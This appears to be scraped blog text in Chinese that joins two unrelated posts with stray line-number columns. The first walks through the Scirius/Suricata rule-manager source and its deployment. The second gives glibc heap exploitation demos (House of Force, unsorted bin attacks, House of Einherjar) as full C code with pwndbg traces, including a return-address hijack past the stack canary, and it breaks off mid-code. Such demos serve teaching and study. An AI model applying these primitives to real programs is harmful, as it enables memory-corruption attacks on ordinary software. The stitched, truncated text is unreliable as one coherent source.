43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<!-- 获取source.yaml里面的source和参数 -->
{% for source, params in sources.items %}
<div class="list-group-item">
<div class="list-group-item-header">
<div class="list-view-pf-expand">
<span class="fa fa-angle-right"></span>
</div>
<div class="list-view-pf-actions">
<!-- 如果没有设置了added标签,则设置button为enable,如果设置了added则设置button为disabled -->
{% if not params.added %}
{% if request.user.is_staff %}
<a class="add_source_button" name="{{ source }}" style="cursor: pointer;"><button class="btn btn-default">Enable</button></a>
{% else %}
<button class="btn btn-default" disabled>Available</button>
{% endif %}
{% else %}
<button class="btn btn-default" disabled>Enabled</button>
{% endif %}
</div>
<div class="list-view-pf-main-info">
<div class="list-view-pf-left">
<span class="fa fa-external-link list-view-pf-icon-sm"></span>
</div>
<div class="list-view-pf-body">
<div class="list-view-pf-description">
<div class="list-group-item-heading">
{{ source }}
</div>
<div class="list-group-item-text">
{{ params.summary }}
</div>
</div>
<div class="list-view-pf-additional-info">
<div class="list-view-pf-additional-info-item"> <span class="fa fa-list-alt"> </span> License: {{ params.license }}
</div>
<div class="list-view-pf-additional-info-item">
<span class="fa fa-shield"> </span> Vendor: {{ params.vendor }}
</div>
</div>
</div>
</div>
</div>

<div class="list-group-item-container container-fluid hidden">
<div class="close">
<span class="pficon pficon-close"></span>
</div>
<div class="row">
<div class="col-md-6">
<dl class="dl-horizontal">
{% if params.description %}
<dt>Description</dt><dd>{{ params.description }}</dd>
{% endif %}
<dt>Source URL</dt><dd>{{ params.url }}</a></dd>
{% if params.subscribe_url %}
<dt>Subscribe URL</dt><dd><a href="{{ params.subscribe_url_cleaned }}">{{ params.subscribe_url }}</a></dd>
{% endif %}
{% if params.support_url %}
<dt>Support URL</dt><dd><a href="{{ params.support_url_cleaned }}">{{ params.support_url }}</a></dd>
{% endif %}
</dl>
</div>
</div>
</div>
</div>

import_and_add_source.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<script>
$( 'document' ).ready(function() {
<!-- 如果update为true则调用update_activate_source -->
{% if update %}
{% if not rulesets %}
update_activate_source({{ source.pk }}, null);
{% else %}
update_activate_source({{ source.pk }}, [ {{ rulesets|join:"," }} ], [ {{ ruleset_list|safeseq|join:"," }} ])
{% endif %}

window.addEventListener("beforeunload", function (e) {
if (!warn_on_exit) {
return;
}
var confirmationMessage = "Warning, leaving page will interrupt source addition mechanism.";

e.returnValue = confirmationMessage; // Gecko, Trident, Chrome 34+
return confirmationMessage; // Gecko, WebKit, Chrome <34
});
{% endif %}
});

function update_activate_source(src_pk, rulesets, ruleset_list)
{
var tgturl = "/rules/source/" + src_pk + "/update";

$('#source_progress').text("Updating source.");
<!-- 通过ajax访问"/rules/source/" + src_pk + "/update" -->
$.ajax({
type:"POST",
url: tgturl,
<!-- 如果后端返回的data['status']为true -->
success: function(data) {
if (data['status'] == true) {
$("#init_details").append('<p class="text-success"> <span class="glyphicon glyphicon-ok"></span></span> Source updated</p>');
$('#source_progress').width("70%");
<!-- 如果成功获取到规则文件,会调用test_source去判断是否可以正常加载且和其他规则匹配 -->
test_source(src_pk, rulesets, ruleset_list);
<!-- 否则定义error_action -->
} else {
$('#source_progress').addClass("progress-bar-danger");
$('#source_progress').text("Could not test source.");
<!-- 把data['error']放到text-danger标签里 -->
$("#init_details").append('<p class="text-danger"> <span class="glyphicon glyphicon-remove"></span> Error during source update: ' + data['errors'] + '</p>');
var error_actions = '<a href="{{ source.get_absolute_url }}delete"><button class="btn btn-primary" type="submit"><span class="glyphicon glyphicon-trash"> Delete source</span></button></a>'
error_actions += ' <a href="{{ source.get_absolute_url }}"><button class="btn btn-warning" id="continue" type="submit"><span class="glyphicon glyphicon-ok"> Ignore errors and continue</span></button></a>';
$("#init_details").append('<div id="error_actions">' + error_actions + '<div>');
warn_on_exit = false;
}
},
error: function(data) {
$('#source_progress').addClass("progress-bar-danger");
$('#source_progress').text("Unable to update source.");
var err_str = 'Error during source update';
if (data.statusText && data.statusText != 'error') {
err_str += ' (' + data.statusText + ')';
}
$("#init_details").append('<p class="text-danger"> <span class="glyphicon glyphicon-remove"> ' + err_str + '</span> </p>');
var error_actions = '<a href="{{ source.get_absolute_url }}delete"><button class="btn btn-primary" type="submit"><span class="glyphicon glyphicon-trash"> Delete source</span></button></a>'
error_actions += ' <a href="{{ source.get_absolute_url }}"><button class="btn btn-warning" id="continue" type="submit"><span class="glyphicon glyphicon-ok"> Ignore errors and continue</span></button></a>';
$("#init_details").append('<div id="error_actions">' + error_actions + '<div>');
warn_on_exit = false;
},
timeout: 240 * 1000
});
}
</script>

/rules/ruleset 列出ruleset规则集

页面如下
ruleset_action

/rules/source 列出规则源

/rules/source页面代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def sources(request):
from scirius.utils import get_middleware_module
sources = get_middleware_module('common').get_sources().order_by('name')

for source_ in sources:
if source_.cats_count == 0:
source_.build_counters()

context = {'sources': sources}
print(context)
return scirius_render(request, 'rules/sources.html', context)
# 可以看到get_middleware_module用来import_module
def get_middleware_module(module):
return import_module('%s.%s' % (settings.RULESET_MIDDLEWARE, module))
# setting中RULESET_MIDDLEWARE值为suricata
RULESET_MIDDLEWARE = 'suricata'
# suricata下common.py里get_sources如下
def get_sources():
from rules.models import Source
return Source.objects.all()

最后效果是获取了Source.objects.all(),但是不太明白绕这么多绕?

页面如下

source_manage

info

通过psutils获取系统状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
PROBE = __import__(settings.RULESET_MIDDLEWARE)
def info(request):
data = {'status': 'green'}
if request.GET.__contains__('query'):
info = PROBE.common.Info()
query = request.GET.get('query', 'status')
if query == 'status':
data = {'running': info.status()}
elif query == 'disk':
data = info.disk()
elif query == 'memory':
data = info.memory()
elif query == 'used_memory':
data = info.used_memory()
elif query == 'cpu':
data = info.cpu()
return JsonResponse(data, safe=False)

#在settings.py里可以看到RULESET_MIDDLEWARE='suricata',所以PROBE相当于__import__(settings.suricata),动态加载了suricata。而suricata/common.py如下
import psutil
from rest_framework import serializers

from django.conf import settings


if settings.SURICATA_UNIX_SOCKET:
try:
import suricatasc
except:
settings.SURICATA_UNIX_SOCKET = None


class Info():
def status(self):
suri_running = 'danger'
# 判断suricata是否运行则有两种方式,如果配置了suricata_unix_socket则调用suricatasc并发送uptime来判断。
if settings.SURICATA_UNIX_SOCKET:
sc = suricatasc.SuricataSC(settings.SURICATA_UNIX_SOCKET)
try:
sc.connect()
except:
return 'danger'
res = sc.send_command('uptime', None)
if res['return'] == 'OK':
suri_running = 'success'
sc.close()
# 如果没有配置SURICATA_UNIX_SOCKET则调用psutil.process_iter()来判断是否存在Suricata-Main来实现
else:
for proc in psutil.process_iter():
try:
pinfo = proc.as_dict(attrs=['name'])
except psutil.NoSuchProcess:
pass
else:
if pinfo['name'] == 'Suricata-Main':
suri_running = 'success'
break
return suri_running
#可以看到该函数调用psutil获取cpu/disk/mem状态
def disk(self):
return psutil.disk_usage('/')

def memory(self):
return psutil.virtual_memory()

def used_memory(self):
mem = psutil.virtual_memory()
return round(mem.used * 100. / mem.total, 1)

def cpu(self):
return psutil.cpu_percent(interval=0.2)

suricatasc可以实时和suricata进程进行交互

部署

配置PF_RING

1
2
3
4
5
6
7
8
9
10
11
12
#安装pf_ring
apt-get install subversion flex bison -y
apt-get install dkms libpcre3-dev libyaml-dev libjansson-dev libcap-dev libpcap-dev rustc cargo wireshark -y
apt-get install build-essential bison flex linux-headers-$(uname -r) git-core automake autoconf libtool subversion -y
git clone https://github.com/ntop/PF_RING.git
cd PF_RING / kernel
make
sudo insmod ./pf_ring.ko
cd ../userland
make
modprobe pf_ring transparent_mode=1 enable_tx_capture=0 min_num_slots=65534 quick_mode=1
modinfo pf_ring

安装suricata

1
2
3
wget https://www.openinfosecfoundation.org/download/suricata-6.0.1.tar.gz
cd suricata-6.0.1
./configure --enable-pfring --sysconfdir=/etc --localstatedir=/var

安装scirius

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
apt install python python-dev
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
git clone https://github.com/StamusNetworks/scirius.git
cd scirius
pip3 install -r requirements.txt
pip3 install pyinotify
pip3 install gitpython
pip3 install gitdb

sudo apt-get install npm
sudo npm install -g npm@latest webpack@3.11
sudo npm install --unsafe-perm -g node-sass
sudo npm cache clean -f
sudo npm install -g n
sudo n stable
cd hunt
npm install
npm run build

cd ..
python3 manage.py migrate
python3 manage.py createsuperuser
webpack
python3 manage.py collectstatic
python3 manage.py runserver

配置suricata

1
2
3
4
5
6
7
8
9
default-rule-path: /var/lib/suricata/rules

rule-files:
- scirius.rules

reputation-categories-file: /var/lib/suricata/rules/scirius-categories.txt
default-reputation-path: /var/lib/suricata/rules
reputation-files:
- scirius-iprep.list

使用scirius运维

1
2
3
4
5
6
7
8
#访问web前端
Sources -> add public source
#enable需要加载的rule
Sources -> add public source
rulesets -> add
#新增规则集
suricata -> Ruleset actions -> update+build+push
#suricata规则更新并restart

scirius源码分析

scirius源码分析

部署ELK

1
2
3
git clone https://github.com/deviantony/docker-elk
cd docker-elk
docker-compose up

ps:如果es加了授权认证,则scirius无法成功连上es,需要把es的x-pack关闭

参考

https://suricata.readthedocs.io/en/latest/install.html
https://xz.aliyun.com/t/7263
https://paper.seebug.org/1054/
https://github.com/orright/scirius/tree/master/doc
https://suricata.readthedocs.io/en/latest/quickstart.html

unsorted前置知识

基本原理

当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。
当进行 malloc_consolidate 时,如果不是和 top chunk 近邻的话,会把合并后的 chunk 放到 unsorted bin 中。

基本使用情况

Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取。
在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。

1、House_of_Force

利用原理

随便malloc一个chunk,然后通过溢出覆盖到top chunk的size为0xffffffffffffffff,这时候malloc一个很大size的chunk,即会使用top chunk来分配,因为top chunk 的位置加上这个大数,造成整数溢出结果是 top chunk 能够被转移到堆之前的内存地址(如程序的 .bss 段、.data 段、GOT 表等),这时候再malloc一次,可以控制到堆之前的内存地址

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main() {
fprintf(stderr, "We will overwrite a variable at %p\n\n", bss_var);

intptr_t *p1 = malloc(0x10);
int real_size = malloc_usable_size(p1);
memset(p1, 'A', real_size);
fprintf(stderr, "Let's allocate the first chunk of 0x10 bytes: %p.\n", p1);
fprintf(stderr, "Real size of our allocated chunk is 0x%x.\n\n", real_size);

intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
fprintf(stderr, "Overwriting the top chunk size with a big value so the malloc will never call mmap.\n");
fprintf(stderr, "Old size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
ptr_top[0] = -1;
fprintf(stderr, "New size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));

unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
int real_size_new = malloc_usable_size(new_ptr);
memset((char *)new_ptr + real_size_new - 0x20, 'A', 0x20);
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr);

void* ctr_chunk = malloc(0x30);
fprintf(stderr, "malloc(0x30) => %p!\n", ctr_chunk);
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n");

fprintf(stderr, "old string: %s\n", bss_var);
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "new string: %s\n", bss_var);
}

具体分析

  1. intptr_t ptr_top = (intptr_t ) ((char *)p1 + real_size - sizeof(long));执行前后

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    pwndbg> x/10gx 0x55555555b0f0
    0x55555555b0c0: 0x0000000000000000 0x0000000000000000
    0x55555555b0d0: 0x0000000000000000 0x0000000000000000
    0x55555555b0e0: 0x0000000000000000 0x0000000000000000
    0x55555555b0f0: 0x0000000000000000 0x0000000000000000
    0x55555555b100: 0x0000000000000000 0x0000000000000000
    0x55555555b110: 0x0000000000000000 0x0000000000020ef1
    pwndbg> p ptr_top
    $5 = (intptr_t *) 0x55555555b110
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555b000
    Size: 0x111

    Top chunk | PREV_INUSE
    Addr: 0x55555555b110
    Size: 0x20ef1
    //-------------------------------------------------------
    pwndbg> x/10gx 0x55555555b0f0
    0x55555555b0f0: 0x0000000000000000 0x0000000000000000
    0x55555555b100: 0x0000000000000000 0x0000000000000000
    0x55555555b110: 0x0000000000000000 0xffffffffffffffff
    0x55555555b120: 0x0000000000000000 0x0000000000000000
    0x55555555b130: 0x0000000000000000 0x0000000000000000
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555b000
    Size: 0x111

    Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
    Addr: 0x55555555b110
    Size: 0xffffffffffffffff
  2. 此时top chunk已经被修改了,这时候call malloc 会得到大小为0xffffffffffffcef0 地址为0x55555555b000+0x120(0x111+0x10-1)的chunk,再次malloc(100) 则会得到大小为100,地址为0xffffffffffffcef0+0x55555555b110=0x10000555555558000(整数溢出,会去掉最高位的1)

    1
    2
    3
    4
    pwndbg> p ctr_chunk
    $17 = (void *) 0x555555558020 <bss_var>
    pwndbg> x/5s 0x555555558020
    0x555555558020 <bss_var>: "This is a string that we want to overwrite."
  3. strcpy(ctr_chunk, “YEAH!!!”);这时往ctr_chunk赋值会发现bss_var被篡改

    1
    2
    pwndbg> x/5s 0x555555558020
    0x555555558020 <bss_var>: "YEAH!!!"

Unsorted_Bin_Into_Stack

利用原理

有点像house_of_lore,house_of_lore伪造smallbin,而这次伪造unsorted_bin,再栈上构造一个chunk,free 一个chunk,修改 unsorted bin 里 chunk 的 bk 指针到任意地址。从而在栈上 malloc 出 chunk。

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>

void jackpot(){ printf("Nice jump d00d\n"); exit(0); }

int main() {
setbuf(stdout, NULL);
intptr_t stack_buffer[4] = {0};

printf("This technique only works with disabled tcache-option for glibc or the size of the victim chunk is larger than 0x408, see build_glibc.sh for build instructions.\n");

printf("Allocating the victim chunk\n");
intptr_t* victim = malloc(0x410);

printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
intptr_t* p1 = malloc(0x100);

printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free(victim);

printf("Create a fake chunk on the stack");
printf("Set size for next allocation and the bk pointer to any writable address");
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;

//------------VULNERABILITY-----------
printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
victim[-1] = 32;
victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
//------------------------------------

printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
char *p2 = malloc(0x100);
printf("malloc(0x100): %p\n", p2);

intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

assert((long)__builtin_return_address(0) == (long)jackpot);

具体分析

  1. victim[-1] = 32;victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack执行前后

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    pwndbg> x/20gx 0x55555555b240
    0x55555555b240: 0x0000000000000000 0x0000000000000000
    0x55555555b250: 0x0000000000000000 0x0000000000000421
    0x55555555b260: 0x00007ffff7dd2ca0 0x00007ffff7dd2ca0
    //------------------------------------
    pwndbg> x/20gx 0x55555555b240
    0x55555555b240: 0x0000000000000000 0x0000000000000000
    0x55555555b250: 0x0000000000000000 0x0000000000000020
    0x55555555b260: 0x00007ffff7dd2ca0 0x00007fffffffe0d0

    pwndbg> x/20gx 0x00007fffffffe0d0
    0x7fffffffe0d0: 0x0000000000000000 0x0000000000000110
    0x7fffffffe0e0: 0x0000000000000000 0x00007fffffffe0d0

    pwndbg> heap

    Allocated chunk | PREV_INUSE
    Addr: 0x55555555b000
    Size: 0x251

    Free chunk (unsortedbin)
    Addr: 0x55555555b250
    Size: 0x20
    fd: 0x7ffff7dd2ca0
    bk: 0x7fffffffe0d0

    Allocated chunk
    Addr: 0x55555555b270
    Size: 0x00
    7fffffffe0d0
  2. 此时再次malloc(100),由于伪造的unsorted chunk size正好是100,因此得到一个位于stack上的chunk,memcpy((p2+40), &sc, 8) p2+40位置是返回地址,将其覆盖为jackpot,最后程序就会执行jackpot,而 victim chunk 被从 unsorted bin 中取出来放到了 small bin 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> stack 30
00:0000│ rsp 0x7fffffffe0b0 —▸ 0x555555555229 (jackpot) ◂— 0xe5894855fa1e0ff3
01:00080x7fffffffe0b8 —▸ 0x55555555b260 —▸ 0x7ffff7dd2cb0 (main_arena+112) —▸ 0x55555555b250 ◂— 0x0
02:00100x7fffffffe0c0 —▸ 0x55555555b680 ◂— 0x0
03:00180x7fffffffe0c8 —▸ 0x7fffffffe0e0 —▸ 0x7ffff7dd2ca0 (main_arena+96) —▸ 0x55555555b780 ◂— 0x0
04:00200x7fffffffe0d0 ◂— 0x0
05:00280x7fffffffe0d8 ◂— 0x110
06:00300x7fffffffe0e0 —▸ 0x7ffff7dd2ca0 (main_arena+96) —▸ 0x55555555b780 ◂— 0x0
07:00380x7fffffffe0e8 —▸ 0x7fffffffe0d0 ◂— 0x0
08:00400x7fffffffe0f0 —▸ 0x7fffffffe1e0 ◂— 0x1
09:00480x7fffffffe0f8 ◂— 0xa9ea08e29ac3d600
0a:0050│ rbp 0x7fffffffe100 —▸ 0x555555555410 (__libc_csu_init) ◂— 0x8d4c5741fa1e0ff3
0b:0058│ rdx 0x7fffffffe108 —▸ 0x555555555229 (jackpot) ◂— 0xe5894855fa1e0ff3

0x5555555553f5 <main+430> mov rcx, qword ptr [rbp - 8]
0x5555555553f9 <main+434> xor rcx, qword ptr fs:[0x28]
0x555555555402 <main+443> je main+450 <main+450>

0x555555555409 <main+450> leave
0x55555555540a <main+451> ret <0x555555555229; jackpot>

0x555555555229 <jackpot> endbr64
0x55555555522d <jackpot+4> push rbp
0x55555555522e <jackpot+5> mov rbp, rsp

3、Unsorted_Bin_Attack

利用原理

glibc/malloc/malloc.c 中的 _int_malloc 有这么一段代码,当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置。

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
fprintf(stderr, "This technique only works with buffers not going into tcache, either because the tcache-option for "
"glibc was disabled, or because the buffers are bigger than 0x408 bytes. See build_glibc.sh for build "
"instructions.\n");
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

volatile unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

unsigned long *p=malloc(0x410);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);

free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n",(void*)p[1]);

//------------VULNERABILITY-----------

p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

//------------------------------------

malloc(0x410);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);

assert(stack_var != 0);
}

具体分析

  1. p[1]=(unsigned long)(&stack_var-2);执行前后

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    pwndbg> bins
    tcachebins
    empty
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x55555555c250 —▸ 0x7ffff7dd2ca0 (main_arena+96) ◂— 0x55555555c250
    smallbins
    empty
    largebins
    empty

    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555c000
    Size: 0x251

    Free chunk (unsortedbin) | PREV_INUSE
    Addr: 0x55555555c250
    Size: 0x421
    fd: 0x7ffff7dd2ca0
    bk: 0x7ffff7dd2ca0

    Allocated chunk
    Addr: 0x55555555c670
    Size: 0x200

    Top chunk | PREV_INUSE
    0x55555555c260: 0x00007ffff7dd2ca0 0x00007ffff7dd2ca0
    0x55555555c270: 0x0000000000000000 0x0000000000000000
    0x55555555c280: 0x0000000000000000 0x0000000000000000
    0x55555555c290: 0x0000000000000000 0x0000000000000000
    //------------------------------------------------
    pwndbg> x/10x 0x55555555c250
    0x55555555c250: 0x0000000000000000 0x0000000000000421
    0x55555555c260: 0x00007ffff7dd2ca0 0x00007fffffffe0e8
    0x55555555c270: 0x0000000000000000 0x0000000000000000
    0x55555555c280: 0x0000000000000000 0x0000000000000000
    0x55555555c290: 0x0000000000000000 0x0000000000000000
    pwndbg> bins
    tcachebins
    empty
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all [corrupted]
    FD: 0x55555555c250 —▸ 0x7ffff7dd2ca0 (main_arena+96) ◂— 0x55555555c250
    BK: 0x55555555c250 —▸ 0x7fffffffe0e8 —▸ 0x55555555c260 ◂— 0x0
    smallbins
    empty
    largebins
    empty
    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x55555555c000
    Size: 0x251

    Free chunk (unsortedbin) | PREV_INUSE
    Addr: 0x55555555c250
    Size: 0x421
    fd: 0x7ffff7dd2ca0
    bk: 0x7fffffffe0e8

    Allocated chunk
    Addr: 0x55555555c670
    Size: 0x200

    Top chunk | PREV_INUSE
    Addr: 0x55555555c870
    Size: 0x20791
  2. malloc(0x410)
    unsorted_chunks 0x7ffff7dd2ca0
    victim=unsorted_chunks -> bk=0x000055555555c250
    bck= victim->bk = 0x00007fffffffe0e8
    bck->fd=0x00007fffffffe0f8=0x7ffff7dd2ca0

  • victim = unsorted_chunks(av)->bk=p
  • bck = victim->bk=p->bk = target addr-16
  • unsorted_chunks(av)->bk = bck=target addr-16
  • bck->fd = *(target addr -16+16) = unsorted_chunks(av)

house_of_einherjar

利用原理

在栈上构造一个fake chunk,申请两块chunk,利用单字节溢出将覆盖第二块chunk的size,使其prev_in_use标志变为0,再将第二块chunk的prev_size字段覆盖为(chunk_b地址-fakechunk地址),同时为了绕过检查,还需要将 fake chunk 的 size 字段与 chunk b 的 prev_size 字段相匹配,此时free chunkb,由于prev_size为0触发consolidate,将第一块chunk与第二块chunk合并。consolidate时chunk b的prev_size为(chunk_b地址-fakechunk地址),导致最后使程序算出错误的free chunk地址(chunk_b-prev_size=chunk_b-chunk_b+fakechunk),此时再malloc即可以得到一块位于栈上的fakechunk

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

/*
Credit to st4g3r for publishing this technique
The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
*/

int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("Welcome to House of Einherjar!\n");
printf("Tested in Ubuntu 18.04.4 64bit.\n");
printf("This technique only works with disabled tcache-option for glibc or with size of b larger than 0x408, see build_glibc.sh for build instructions.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

uint8_t* a;
uint8_t* b;
uint8_t* d;

printf("\nWe allocate 0x38 bytes for 'a'\n");
a = (uint8_t*) malloc(0x38);
printf("a: %p\n", a);

int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);

// create a fake chunk
printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
printf("(although we could do the unsafe unlink technique here in some scenarios)\n");

size_t fake_chunk[6];

fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize


printf("Our fake chunk at %p looks like:\n", fake_chunk);
printf("prev_size (not used): %#lx\n", fake_chunk[0]);
printf("size: %#lx\n", fake_chunk[1]);
printf("fwd: %#lx\n", fake_chunk[2]);
printf("bck: %#lx\n", fake_chunk[3]);
printf("fwd_nextsize: %#lx\n", fake_chunk[4]);
printf("bck_nextsize: %#lx\n", fake_chunk[5]);

/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x4f8);
int real_b_size = malloc_usable_size(b);

printf("\nWe allocate 0x4f8 bytes for 'b'.\n");
printf("b: %p\n", b);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);
/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

printf("\nb.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0x500) | prev_inuse = 0x501\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
/* VULNERABILITY */
a[real_a_size] = 0;
/* VULNERABILITY */
printf("b.size: %#lx\n", *b_size_ptr);
printf("This is easiest if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n");
printf("If it had been modified, we would need a fake chunk inside "
"b where it will try to consolidate the next chunk\n");

// Write a fake prev_size to the end of a
printf("\nWe write a fake prev_size to the last %lu bytes of a so that "
"it will consolidate with our fake chunk\n", sizeof(size_t));
